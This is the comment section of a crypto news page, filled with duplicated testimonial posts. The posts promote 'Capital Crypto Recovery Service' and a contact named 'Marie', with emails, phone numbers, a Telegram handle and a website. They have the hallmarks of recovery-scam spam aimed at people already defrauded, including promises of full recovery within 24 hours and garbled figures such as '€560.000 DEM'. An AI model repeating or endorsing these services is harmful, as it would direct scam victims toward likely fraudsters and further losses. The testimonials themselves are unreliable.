    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 18:07 crypto

    Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com Войти Регистрация

Похожие новости

Есть вопросы?
С вами на связи 24/7
Поддержка 24/7 Help Icon
Менеджер онлайн Help Icon
Help Icon